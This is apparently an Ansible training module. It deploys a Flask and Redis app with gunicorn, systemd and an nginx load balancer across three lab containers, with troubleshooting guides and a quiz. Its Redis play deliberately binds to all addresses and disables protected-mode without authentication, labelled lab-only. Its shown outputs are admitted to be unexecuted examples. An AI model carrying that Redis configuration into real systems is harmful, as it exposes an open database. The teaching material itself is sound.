| interpreter | /usr/bin/python3: not found,MODULE FAILURE | -m raw -a 'command -v python3' |
| syntax | Syntax Error while loading YAML,conflicting action statements | --syntax-check, ansible-lint |
| variables / templates | is undefined,Conditionals must have a boolean result | debug var=,ansible-inventory --host |
| modules / collections | couldn't resolve module/action,Unsupported parameters | ansible-doc,ansible-galaxy collection list |
| application | task succeeds but service unavailable,502 Bad Gateway | journalctl -u myapp,ss -ltnp, curl backends |
When: when to upgrade it
This module's site.yml is the beginner form of “everything in one file”. When it grows past 200 lines or needs reuse, lesson 2 splits it into roles (redis,myapp,nginx_lb), adds Vault for passwords and Molecule tests; lesson 6 extends it to nginx + 2 app nodes + PostgreSQL, using serial rolling releases.
Comparison with similar technologies
| This module (Ansible + systemd) | Docker Compose (Docker course) | Kubernetes | |
|---|---|---|---|
| Packaging | source + venv (built on the target machine) | image (build once, run anywhere) | image |
| Process management | systemd (Restart=on-failure) | restart policy | kubelet + probes |
| Load balancing | nginx upstream (template-generated) | Compose network DNS / nginx | Service / Gateway |
| Release | playbook (lesson 6 serial rolling) | docker compose up -d | Deployment rolling update |
uri/wait_for . ② “After changing a systemd unit, a restart is enough” — you first need to run daemon_reload (systemd_service module's daemon_reload: true). ③ “Installing pip packages into the system Python is simplest” — Ubuntu 24.04 will report externally-managed-environment, app dependencies belong in a venv. ④ “Binding Redis to 0.0.0.0 is fine” — this lab does it only on an isolated Docker network; production must enable authentication (requirepass/ACL), TLS and firewall rules that restrict sources.Deployment architecture diagram
Flowchart: the 5 plays of site.yml
Deployment pipeline animation
Step through site.yml, observe which nodes each play runs on and when components become ready, and finally simulate curl polling. You can tick “node3's requirements.txt has a misspelled package” to see how the failing host is removed from later plays, and what happens when nginx has only one healthy backend.
Deployment and troubleshooting commands
| Command | Purpose |
|---|---|
ansible-playbook site.yml --syntax-check | Syntax check |
ansible-playbook site.yml --list-tasks | View each play's tasks |
ansible-playbook site.yml --limit app --start-at-task "Render systemd unit" | Re-run from a middle task (watch for missing register variables) |
ansible-playbook site.yml -vvvv --limit node2 | Connection and module-level verbose logs |
ansible app -b -m command -a 'journalctl -u myapp -n 30 --no-pager' | View app logs |
ansible app -b -m command -a 'systemctl status myapp --no-pager' | View service status |
ansible lb -b -m command -a 'nginx -T' | View the nginx config that is actually in effect |
ansible app -m uri -a 'url=http://127.0.0.1:5000/healthz' | Run the health check on the backend host itself |
cd ~/ansible-lab
for i in 1 2 3 4; do curl -s http://172.30.0.11/; done
curl -s -o /dev/null -w "%{http_code}\n" http://172.30.0.11/healthz
Hello from node2, hits=1 Hello from node3, hits=2 Hello from node2, hits=3 Hello from node3, hits=4 200
How to verify: Host names alternate (nginx round-robins by default), and hits keeps increasing (both backends share one Redis). Common errors: hits shows N/A (redis not connected)— REDIS_HOST is wrong, or Redis only listens on 127.0.0.1. Production use: These three commands are the most basic smoke test; play 5 of site.yml automates them.
Lab 8: deploy myapp to 3 nodes with one command (about 10 minutes)
/healthz)
cd ~/ansible-lab
mkdir -p files/myapp
cat > files/myapp/app.py <<'EOF'
import os, socket
from flask import Flask
import redis
app = Flask(__name__)
r = redis.Redis(host=os.getenv("REDIS_HOST", "redis"), port=6379, socket_connect_timeout=1)
@app.route("/")
def index():
try:
hits = r.incr("hits")
except redis.exceptions.ConnectionError:
hits = "N/A (redis not connected)"
return f"Hello from {socket.gethostname()}, hits={hits}\n"
@app.get("/healthz")
def healthz():
return "ok\n"
EOF
cat > files/myapp/requirements.txt <<'EOF'
flask==3.1.*
redis==5.*
gunicorn==23.*
EOFcat >> inventory/group_vars/app.yml <<'EOF'
app_dir: /opt/myapp
redis_host: "{{ hostvars[groups['cache'][0]]['ansible_host'] }}"
EOF
{{ ansible_managed | comment }}
[Unit]
Description=myapp (Flask + gunicorn)
After=network-online.target
Wants=network-online.target
[Service]
User=myapp
Group=myapp
WorkingDirectory={{ app_dir }}
Environment=REDIS_HOST={{ redis_host }}
ExecStart={{ app_dir }}/venv/bin/gunicorn --bind 0.0.0.0:{{ app_port }} --workers {{ gunicorn_workers }} --access-logfile - app:app
Restart=on-failure
RestartSec=2
[Install]
WantedBy=multi-user.target
{{ ansible_managed | comment }}
upstream myapp {
{% for h in groups['app'] %}
server {{ hostvars[h]['ansible_host'] }}:{{ hostvars[h]['app_port'] }} max_fails=2 fail_timeout=5s; # {{ h }}
{% endfor %}
}
server {
listen 80 default_server;
server_name _;
location / {
proxy_pass http://myapp;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_next_upstream error timeout http_502;
}
}
In the nginx template, the $host is not Jinja2 syntax and is output as-is. hostvars[h]['app_port'] Comes from group_vars/all.yml (5000).
---
- name: Gather facts from all hosts
hosts: lab
gather_facts: true
tasks: []
- name: Redis (data tier)
hosts: cache
become: true
tasks:
- name: Install redis-server
ansible.builtin.apt:
name: redis-server
state: present
update_cache: true
cache_valid_time: 3600
- name: Listen on all addresses (lab network only!)
ansible.builtin.lineinfile:
path: /etc/redis/redis.conf
regexp: '^bind '
line: bind 0.0.0.0
notify: restart redis
- name: Disable protected-mode (lab only; configure ACL/requirepass in production)
ansible.builtin.lineinfile:
path: /etc/redis/redis.conf
regexp: '^protected-mode '
line: protected-mode no
notify: restart redis
- name: Start redis
ansible.builtin.service:
name: redis-server
state: started
enabled: true
- name: Apply config immediately
ansible.builtin.meta: flush_handlers
- name: Wait for 6379 to listen on all addresses
ansible.builtin.wait_for:
host: "{{ ansible_host }}"
port: 6379
timeout: 30
handlers:
- name: restart redis
ansible.builtin.service:
name: redis-server
state: restarted
- name: myapp (app tier)
hosts: app
become: true
tasks:
- name: Install venv support
ansible.builtin.apt:
name: [python3-venv, python3-pip]
state: present
update_cache: true
cache_valid_time: 3600
- name: System user myapp
ansible.builtin.user:
name: myapp
system: true
shell: /usr/sbin/nologin
home: "{{ app_dir }}"
create_home: false
- name: Application directory
ansible.builtin.file:
path: "{{ app_dir }}"
state: directory
owner: myapp
group: myapp
mode: "0755"
- name: Copy code
ansible.builtin.copy:
src: "myapp/{{ item }}"
dest: "{{ app_dir }}/{{ item }}"
owner: myapp
group: myapp
mode: "0644"
loop: [app.py, requirements.txt]
notify: restart myapp
- name: Install dependencies into venv
ansible.builtin.pip:
requirements: "{{ app_dir }}/requirements.txt"
virtualenv: "{{ app_dir }}/venv"
virtualenv_command: python3 -m venv
notify: restart myapp
- name: Render systemd unit
ansible.builtin.template:
src: myapp.service.j2
dest: /etc/systemd/system/myapp.service
mode: "0644"
notify: restart myapp
- name: Start and enable on boot
ansible.builtin.systemd_service:
name: myapp
state: started
enabled: true
daemon_reload: true
- name: Run handler immediately
ansible.builtin.meta: flush_handlers
- name: Health check
ansible.builtin.uri:
url: "http://127.0.0.1:{{ app_port }}/healthz"
register: health
until: health.status == 200
retries: 15
delay: 2
handlers:
- name: restart myapp
ansible.builtin.systemd_service:
name: myapp
state: restarted
daemon_reload: true
- name: nginx load balancing (entry tier)
hosts: lb
become: true
tasks:
- name: Ensure nginx is installed
ansible.builtin.apt:
name: nginx
state: present
- name: Render upstream config
ansible.builtin.template:
src: nginx-myapp.conf.j2
dest: /etc/nginx/conf.d/myapp.conf
mode: "0644"
notify: reload nginx
- name: Remove default site (avoid two default_server)
ansible.builtin.file:
path: /etc/nginx/sites-enabled/default
state: absent
notify: reload nginx
- name: Validate full nginx config
ansible.builtin.command: nginx -t
changed_when: false
- name: Ensure nginx is running
ansible.builtin.service:
name: nginx
state: started
enabled: true
handlers:
- name: reload nginx
ansible.builtin.service:
name: nginx
state: reloaded
- name: End-to-end verification
hosts: localhost
gather_facts: false
vars:
lb_url: "http://{{ hostvars[groups['lb'][0]]['ansible_host'] }}/"
tasks:
- name: Request the entry point 6 times
ansible.builtin.uri:
url: "{{ lb_url }}"
return_content: true
register: hits
loop: "{{ range(6) | list }}"
- name: Assert both backends responded
ansible.builtin.assert:
that:
- (hits.results | map(attribute='content') | select('search', 'node2') | list | length) > 0
- (hits.results | map(attribute='content') | select('search', 'node3') | list | length) > 0
success_msg: "Load balancing OK"
- name: Show responses
ansible.builtin.debug:
msg: "{{ hits.results | map(attribute='content') | map('trim') | list }}"
Key points: apt 's name takes a list directly; pip module's virtualenv parameter creates the venv automatically when the directory does not exist; the “start” task also sets daemon_reload: true, so systemd has read the new unit on first deployment; before the health check, flush_handlers, to ensure the restart has happened.
ansible-playbook site.yml --syntax-check ansible-playbook site.yml
TASK [Health check] ******************************************************************
FAILED - RETRYING: [node2]: Health check (15 retries left).
ok: [node2]
ok: [node3]
…
TASK [Assert both backends responded] *******************************************************
ok: [localhost] => {
"changed": false,
"msg": "Load balancing OK"
}
TASK [Show responses] ******************************************************************
ok: [localhost] => {
"msg": [
"Hello from node2, hits=1",
"Hello from node3, hits=2",
"Hello from node2, hits=3",
"Hello from node3, hits=4",
"Hello from node2, hits=5",
"Hello from node3, hits=6"
]
}
PLAY RECAP *********************************************************************
localhost : ok=3 changed=0 unreachable=0 failed=0 …
node1 : ok=14 changed=6 unreachable=0 failed=0 …
node2 : ok=12 changed=8 unreachable=0 failed=0 …
node3 : ok=12 changed=8 unreachable=0 failed=0 …
The recap numbers depend on which labs you did earlier (for example, whether nginx is already installed or the default site exists); what matters is failed=0. One RETRYING on the health check is normal, since gunicorn takes 1–2 seconds to start.
ansible-playbook site.yml | grep -E "^(node[123]|localhost) +:"
localhost : ok=3 changed=0 … node1 : ok=12 changed=0 … node2 : ok=10 changed=0 … node3 : ok=10 changed=0 …
ansible node2 -b -m command -a 'systemctl kill --signal=SIGKILL myapp' # simulate a process crash sleep 3; ansible node2 -b -m command -a 'systemctl is-active myapp' # Restart=on-failure has already brought it back ansible node3 -b -m systemd_service -a 'name=myapp state=stopped' for i in 1 2 3; do curl -s http://172.30.0.11/; done # all from node2 ansible-playbook site.yml --limit node3 # the idempotent playbook restores it
node2 | CHANGED | rc=0 >> active Hello from node2, hits=7 Hello from node2, hits=8 Hello from node2, hits=9
Note --limit node3 : with --limit node3, play 4 and play 5 do not run on node1 or localhost (they are outside the limit). This shows that limit affects multi-play orchestration; when needed, use --limit 'node3,lb,localhost'.
for i in 1 2 3; do docker rm -f node$i; done; docker network rm anslab. Azure VM: az group delete -n rg-ansible-lab --yes --no-wait.Case 1: a new node joins the load balancer automatically
Problem: Scaling out with node4 requires manually editing the nginx config. Approach: The upstream is generated from the template by looping over groups['app'] ; to scale out, just add node4 to the app group in the inventory and run site.yml. Play 3 deploys the app, and play 4 re-renders the upstream and reloads. Limit: Make sure the new node is healthy before it joins (a failed health check in play 3 removes that host from later plays, but the play 4 template still includes it, so you need to filter with ansible_play_hosts or health-check results, implemented in lesson 6).
Case 2: pip reports externally-managed-environment on Ubuntu 24.04
Problem: A playbook migrated from 22.04 used pip: name=flask to install into the system Python, which fails on 24.04. Approach: Put all application dependencies into a venv (via the virtualenv parameter), and install system-level Python libraries with apt python3-xxx. Limit: A venv is bound to the minor Python version that created it; after the distribution upgrades Python, rebuild the venv (the playbook can detect the version change and delete and recreate it).
Case 3: systemd unit changed but no effect
Problem: The ExecStart parameter was changed and the handler ran restart, but the process still has the old parameter. Approach: systemd caches unit files, so you need daemon_reload: true; this lesson's handler already includes it. Troubleshooting: systemctl cat myapp and systemctl show myapp -p ExecStart to compare. Limit: Legacy playbooks often use command: systemctl daemon-reload, which should be replaced with module parameters.
Interactive troubleshooting decision tree
Step through by the symptoms you see to get diagnostic commands and fix suggestions. Covers all the beginner-level fault types in this lesson.
Errors specific to this module
error: externally-managed-environment … This environment is externally managed
Cause: Installing pip packages into the system Python of Ubuntu 24.04 (PEP 668).
Fix: Use the pip module's virtualenv parameter; confirm python3-venv is installed.
fatal: [node2]: FAILED! => {"msg": "Unable to start service myapp: Job for myapp.service failed because the control process exited with error code."}
Cause: wrong unit file path (venv not created successfully), user does not exist, port in use, or application import error.
ansible node2 -b -m command -a 'journalctl -u myapp -n 30 --no-pager' ansible node2 -b -m command -a 'systemctl cat myapp' ansible node2 -b -m command -a 'ls -l /opt/myapp/venv/bin/gunicorn'
Fix: fix according to the logs, then re-run site.yml (idempotent).
curl returns 502 Bad Gateway
Cause: nginx is fine, but all backends are unreachable: myapp is not running, listens on 127.0.0.1, or the upstream address/port is wrong.
ansible lb -b -m command -a 'tail -n 5 /var/log/nginx/error.log' ansible app -b -m command -a 'ss -ltnp' ansible lb -m uri -a 'url=http://172.30.0.12:5000/healthz'
Fix: gunicorn must listen on --bind 0.0.0.0; check the rendered /etc/nginx/conf.d/myapp.conf.
Hello from node2, hits=N/A (redis not connected)
Cause: REDIS_HOST is wrong, or Redis still listens only on 127.0.0.1 (lineinfile did not take effect, or the restart handler did not run).
ansible node2 -b -m command -a 'systemctl show myapp -p Environment' ansible cache -b -m command -a 'ss -ltn sport = :6379'
Fix: correct the variable, then re-run ansible-playbook site.yml --limit cache --force-handlers.
1. Re-deploy only the app tier (group app), starting from the "Render systemd unit" task.
ansible-playbook site.yml --limit app --start-at-task "Render systemd unit"
2. Use one ad-hoc command to view the last 20 lines of the myapp logs on both app nodes.
ansible app -b -m command -a 'journalctl -u myapp -n 20 --no-pager'
After deployment, curl to the entry point always returns a response from node2, never from node3, even though site.yml succeeded on every play. List the troubleshooting steps.
① Check the rendered result: ansible lb -b -m command -a 'cat /etc/nginx/conf.d/myapp.conf', whether the upstream includes node3 (was node3 not in the app group at the time, or is there a template loop error?). ② Test the backend directly: ansible lb -m uri -a 'url=http://172.30.0.13:5000/healthz'. ③ node3 service: systemctl status myapp,ss -ltnp. ④ Check whether nginx error.log shows connection failures to node3 (marked unavailable by max_fails). ⑤ If the config was changed but not reloaded, use nginx -T to view the effective config, and run the handler (--force-handlers or reload manually).
Verified teaching videos
Official docs
Video storyboard (about 100 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: three empty nodes; the five plays of site.yml pass by like a conveyor belt, in order.
Narration: one playbook, five plays, deploying the data tier, app tier and entry tier in dependency order.
Visual: node1 lights up Redis; node2 and node3 each show a venv, a systemd unit and a green health-check tick in turn.
Narration: the app nodes create a system user, a virtual environment and a systemd unit; after a restart, a health check confirms they are truly available.
Visual: the nginx template loops over the app group and generates two server lines; curl requests alternate between node2 and node3, and the counter increases.
Narration: the load balancer config is generated from the inventory by the template; adding a machine only requires an inventory change.
Visual: the troubleshooting tree expands in turn: unreachable, permissions, interpreter, syntax, variables, application.
Narration: when an error occurs, first decide which category it belongs to, then locate it with the matching command; after fixing it, simply re-run the idempotent playbook.
Command cheat sheet
Installation and version
pipx install --include-deps ansible # community package 14.x (includes core 2.21) pipx install ansible-core # core only pipx upgrade --include-injected ansible ansible --version # check config file / python ansible-community --version ansible-config dump --only-changed ansible-config init --disabled > ansible.cfg
Inventory
ansible-inventory --graph [--vars] ansible-inventory --list -y ansible-inventory --host node2 ansible 'lab:!app' --list-hosts ansible 'lb:&cache' --list-hosts ansible-playbook site.yml -i inventory/ --limit 'app[0]' # Lookup order: ANSIBLE_CONFIG → ./ansible.cfg → ~/.ansible.cfg → /etc/ansible/ansible.cfg
Ad-hoc
ansible all -m ping ansible all -a 'uptime' -o ansible app -m shell -a 'ps aux | grep [g]unicorn' ansible app -b -m apt -a 'name=htop state=present update_cache=true cache_valid_time=3600' ansible app -b -m copy -a 'src=files/x dest=/etc/x mode=0644' -C -D ansible all -b -m service -a 'name=nginx state=started enabled=true' ansible node2 -m raw -a 'command -v python3'
ansible-doc
ansible-doc ansible.builtin.template ansible-doc -s ansible.builtin.lineinfile ansible-doc -l | grep -i docker ansible-doc -t connection -l ansible-doc -t filter -l | head ansible-galaxy collection list
Playbook execution
ansible-playbook site.yml --syntax-check
ansible-playbook site.yml --list-hosts --list-tasks
ansible-playbook site.yml --check --diff --limit node2
ansible-playbook site.yml --start-at-task "Health check"
ansible-playbook site.yml --step
ansible-playbook site.yml --force-handlers
ansible-playbook site.yml -e '{"app_port": 5000}' -vvvVariables and facts
ansible node2 -m setup -a 'filter=ansible_distribution*'
ansible node2 -m setup -a 'gather_subset=!all,network'
ansible node1 -m debug -a 'var=group_names'
ansible localhost -m debug -a "msg={{ groups['app'] | join(',') }}"
# in a playbook: ansible_facts['distribution'] (do not use ansible_distribution any more)
# hostvars['node1']['ansible_host'] · groups['app'] · inventory_hostnameConditionals / loops / handlers
when:
- ansible_facts['os_family'] == "Debian"
- users | length > 0 # 2.19+: the result must be a boolean
loop: "{{ users }}"
loop_control: { label: "{{ item.name }}" }
until: r.status == 200
retries: 10
delay: 3
notify: reload nginx
- ansible.builtin.meta: flush_handlersTemplates and files
- ansible.builtin.template:
src: app.conf.j2
dest: /etc/app.conf
mode: "0644"
backup: true
validate: /usr/sbin/visudo -cf %s # sshd: /usr/sbin/sshd -t -f %s
- ansible.builtin.lineinfile:
path: /etc/ssh/sshd_config
regexp: '^#?MaxAuthTries'
line: MaxAuthTries 3
- ansible.builtin.blockinfile:
path: /etc/bash.bashrc
marker: "# {mark} ANSIBLE MANAGED BLOCK x"
block: |
alias ll='ls -alF'Quick troubleshooting table
| Symptom / error | First step | Common causes |
|---|---|---|
UNREACHABLE! … Permission denied (publickey) | ssh -vvv -i KEY user@host | private key path, remote user, authorized_keys permissions |
UNREACHABLE! … Connection timed out / refused | nc -zv host 22 | sshd not running, firewall/NSG, wrong ansible_host |
Host key verification failed | ssh-keygen -R host + ssh-keyscan | host rebuilt, host key changed |
Missing sudo password | check sudoers | needs -K or a NOPASSWD rule |
/usr/bin/python3: not found | -m raw -a 'command -v python3' | minimal image has no Python; install with raw |
Syntax Error while loading YAML | --syntax-check | indentation, tabs, values starting with {{ not quoted |
'x' is undefined | debug var=x,ansible-inventory --host | misspelling, group_vars location/file name, facts not collected |
Conditionals must have a boolean result | check the when expression | 2.19+ rules: use | length > 0,| bool |
couldn't resolve module/action | ansible-galaxy collection list | missing collection, module renamed, misspelling |
| all tasks green but service unavailable | journalctl -u SVC,ss -ltnp | no health check, wrong listen address, handler not run |
The complete interactive troubleshooting flow is in Module 8 → Troubleshooting → decision tree.
Recommended config snippet: project-level ansible.cfg
[defaults] inventory = inventory/hosts.ini remote_user = ansible private_key_file = ~/.ssh/ansible_lab interpreter_python = auto_silent forks = 10 retry_files_enabled = False [ssh_connection] ssh_args = -C -o ControlMaster=auto -o ControlPersist=60s pipelining = True # enable after confirming sudoers does not enable requiretty; can significantly reduce SSH round trips
Integrated lab + final quiz
-e app_version=… , shown on the /version page and in each host's motd; ② new ops group members opsuser (may only restart myapp / reload nginx; sudoers must be validated); ③ sshd limits MaxAuthTries 3; ④ a config change triggers only one reload/restart of the relevant service; ⑤ after deployment, automatically verify that both backends serve the new version; ⑥ the second run changed=0. Complete this in this lesson's 3-node environment.cd ~/ansible-lab ansible all -m ping -o ansible-inventory --graph for i in 1 2; do curl -s http://172.30.0.11/; done
If myapp is not deployed, first complete the module 8 lab.
files/myapp/app.py append:
@app.get("/version")
def version():
return f"{os.getenv('APP_VERSION', 'dev')} on {socket.gethostname()}\n"
In templates/myapp.service.j2 's Environment=REDIS_HOST… , add a new line below it:
Environment=APP_VERSION={{ app_version | default('dev') }}ops.yml
---
- name: Ops account and hardening
hosts: lab
become: true
vars:
ops_users: [opsuser]
tasks:
- name: ops group
ansible.builtin.group: { name: ops, state: present }
- name: ops user
ansible.builtin.user:
name: "{{ item }}"
groups: ops
append: true
shell: /bin/bash
loop: "{{ ops_users }}"
- name: sudoers (validate)
ansible.builtin.template:
src: sudoers-ops.j2
dest: /etc/sudoers.d/ops
mode: "0440"
validate: /usr/sbin/visudo -cf %s
- name: sshd MaxAuthTries
ansible.builtin.lineinfile:
path: /etc/ssh/sshd_config
regexp: '^#?MaxAuthTries'
line: MaxAuthTries 3
validate: /usr/sbin/sshd -t -f %s
notify: reload ssh
- name: show version in motd
ansible.builtin.template:
src: motd.j2
dest: /etc/motd
mode: "0644"
handlers:
- name: reload ssh
ansible.builtin.service: { name: ssh, state: reloaded }
In templates/motd.j2 , add one line at the end: Current release version: {{ app_version | default('dev') }}.
- name: Every backend returns the expected version
ansible.builtin.uri:
url: "http://{{ hostvars[item]['ansible_host'] }}:{{ hostvars[item]['app_port'] }}/version"
return_content: true
register: ver
loop: "{{ groups['app'] }}"
failed_when: (app_version | default('dev')) not in ver.contentansible-playbook ops.yml site.yml --syntax-check ansible-playbook ops.yml site.yml -e app_version=1.1.0 --check --diff --limit node2 ansible-playbook ops.yml site.yml -e app_version=1.1.0 curl -s http://172.30.0.11/version; curl -s http://172.30.0.11/version
1.1.0 on node2 1.1.0 on node3
ansible-playbook ops.yml site.yml -e app_version=1.1.0 | grep -E "^(node[123]|localhost) +:"
all hosts changed=0 to pass. If myapp restarts every time, check whether some task reports changed every time (for example, misuse of state: latest).
-e '{"break_sudoers": true}' to run ops.yml, confirm that validate blocks the bad file and sudo -n true still works; stop myapp on node3, run site.yml's verification play, and confirm it reports node3 as failed; finally re-run site.yml without the fault parameter to recover.Open-ended self-test (answer it yourself first, then expand the reference answer)
1. Describe the full execution process of an apt task from the control node to the managed node.
Merge variables → action plugin → package AnsiballZ_apt.py → over SSH (reusing the main connection via ControlPersist) create a temp directory on the remote and transfer via sftp (via stdin when pipelining) → sudo wrapper, remote python3 executes; the module compares dpkg status with the desired state → stdout returns JSON → delete the temp directory → callback shows ok/changed/failed and counts it in the recap.
2. Why does the project's ansible.cfg sometimes not take effect? How do you confirm?
It may be that ANSIBLE_CONFIG is set, the current directory is not the project directory, or the directory is world-writable (WSL's /mnt/c) and is ignored. Use ansible --version to see the config file line, and ansible-config dump --only-changed to see the source of each setting.
3. What is the difference between command and shell? When should each be used?
command executes directly without a shell, so pipes, redirection, variables and wildcards do not work; it is safer (argv prevents injection). shell goes through /bin/sh; use it only when shell features are needed, and add quote when concatenating variables. Both report changed by default; use creates or changed_when.
4. When play vars, host_vars and -e conflict, which one wins?
-e (22) > play vars (12) > host_vars (9/10). So defaults that hosts should be able to override must not be placed in play vars.
5. When would a handler not run? How do you ensure a config change really takes effect?
The task that notified it did not report changed; the name does not match; or a task failed on that host before the handler ran (the queue is discarded). To ensure it runs: force_handlers / --force-handlers, flush_handlers at key points, and verify after deployment with uri / nginx -T.
6. After upgrading to core 2.19+, which template/conditional problems are most likely in old playbooks?
Conditions must be booleans (when: list errors); conditions cannot embed {{ }}; undefined attributes in conditions raise errors; native types change filter result types; strings from untrusted sources are no longer rendered. In addition, since 2.20 injected facts variables are deprecated and should be changed to ansible_facts['…'].
Final quiz (12 questions, covering all modules)
Sources and version notes
| Topic | Verified conclusion | Sources (accessed 2026-11-15) |
|---|---|---|
| ansible-core version | 2.21 (GA 2026-05, EOL 2027-11, latest patch around 2.21.5); 2.20 (EOL 2027-05); 2.19 (EOL 2026-11) | Releases and maintenance |
| Ansible community package | 14.x is the current version (based on core 2.21); 13.x reached EOL in 2026-06; 15.0.0 in development (core 2.22) | Same as above · PyPI ansible |
| Python requirements | core 2.21: control node Python 3.12–3.14, managed node 3.9–3.14 (the 2.20 porting guide also states control node ≥ 3.12, target ≥ 3.9) | Porting guide core 2.20 |
| Install methods | pipx install --include-deps ansible,pipx install ansible-core,pipx inject --include-apps ansible argcomplete; native Windows cannot be a control node (WSL needed) | Installing Ansible |
| 2.19 template / conditional changes | Conditions must be booleans (“Conditionals must have a boolean result”); template delimiters are not supported in conditions; undefined attributes raise errors; only trusted sources are rendered; native types are the only mode; ALLOW_BROKEN_CONDITIONALS transition switch; bool filter behavior change | Porting guide core 2.19 |
| Injected facts deprecation | INJECT_FACTS_AS_VARS deprecated since core 2.20, planned to default to False in 2.24; recommended ansible_facts['distribution'] | Porting guide core 2.20 |
| Configuration and connection | Lookup order ANSIBLE_CONFIG → ./ansible.cfg (world-writable directories are ignored) → ~/.ansible.cfg → /etc/ansible/ansible.cfg; ssh_args default -C -o ControlMaster=auto -o ControlPersist=60s; pipelining default False | Configuration Settings |
| Variable precedence | 22-level precedence list | Using variables |
| Module execution mechanism | AnsiballZ packaging, remote temp directory, explode debugging, ANSIBLE_KEEP_REMOTE_FILES | Module architecture · Debugging modules |
| Inventory / patterns / handlers / check mode / templating | Syntax and behavior of each module | Inventory · Patterns · Handlers · Check mode · Templating |
| AAP | Red Hat Ansible Automation Platform 2.6 is the current version (detailed in lesson 5) | AAP docs |
Video verification notes
The following videos were verified via the YouTube oEmbed endpoint (2026-11-15) to match in title, channel and video ID: Fireship “Ansible in 100 Seconds” (xRMPKQweySE); TechWorld with Nana “What is Ansible | Ansible Playbook explained | Ansible Tutorial for Beginners” (1id6ERvfozo); NetworkChuck “you need to learn Ansible RIGHT NOW!! (Linux Automation)” (5hycyr-8EKs); Learn Linux TV “Getting started with Ansible 01 - Introduction” (3RiVKs8GHYQ); Techno Tim “Automate EVERYTHING with Ansible! (Ansible for Beginners)” (w9eCU4bGgjQ); Jeff Geerling “Ansible 101” series Episode 1 (goclfp6a2IQ), 2 (7kVfqmGtDL8), 3 (WNmKjtWtqIc), 4 (SLW4LX7lbvE), 5 (HU-dkXBCPdU), 9 (gV_16dU7XjM), 12 (_QZr4xKhir4) (IDs taken from the jeffgeerling.com series articles and checked one by one via oEmbed). oEmbed does not return duration or publish date; according to the author's blog, the Ansible 101 series was recorded from 2020 livestreams. All videos are in English and were recorded before ansible-core 2.19/2.21; for conditional expressions, facts access, etc., this lesson and the official docs take precedence.
Audio narration notes
The “Audio” page uses the browser's Web Speech API (speechSynthesis, en-US) to read the lecture script aloud in real time; English terms are pronounced with en-US; the result depends on the voices installed on the operating system. The environment that generated this courseware cannot call a TTS service, so no MP3 is embedded; for offline audio, hand the lecture script to a TTS service such as Azure AI Speech.
Known limitations
- Patch version numbers, path random numbers, timestamps, IPs, checksums, counts and recap numbers in “Expected output” are example values. The lab commands were not actually executed in the environment that generated this courseware, so the real output depends on your environment.
- The managed nodes use privileged containers with systemd as PID 1; the kernel, CPU/memory facts, /etc/hosts, sysctl, firewall, etc. differ from real VMs; the 3 containers share the same SSH host key. Production-relevant conclusions should be verified on VMs (alternatives in module 0).
- The official Ubuntu container image ships with policy-rc.d, so services are not started automatically after package installation; therefore the changed/ok results of some tasks differ from VMs.
- In module 3, the output of
ansible-doc -sand, in module 1, the SSH command behavior of-vvvare excerpted and simplified; the format varies slightly by version. - Some original error text (messages when the control node Python version does not meet requirements, deprecation warning wording) varies by version; the courseware marks these as “check your actual output”.
- Timing and ordering details in the animations are illustrative, to explain the mechanism.
- Redis disables protected-mode and listens on 0.0.0.0 in the lab; this applies only to isolated lab networks.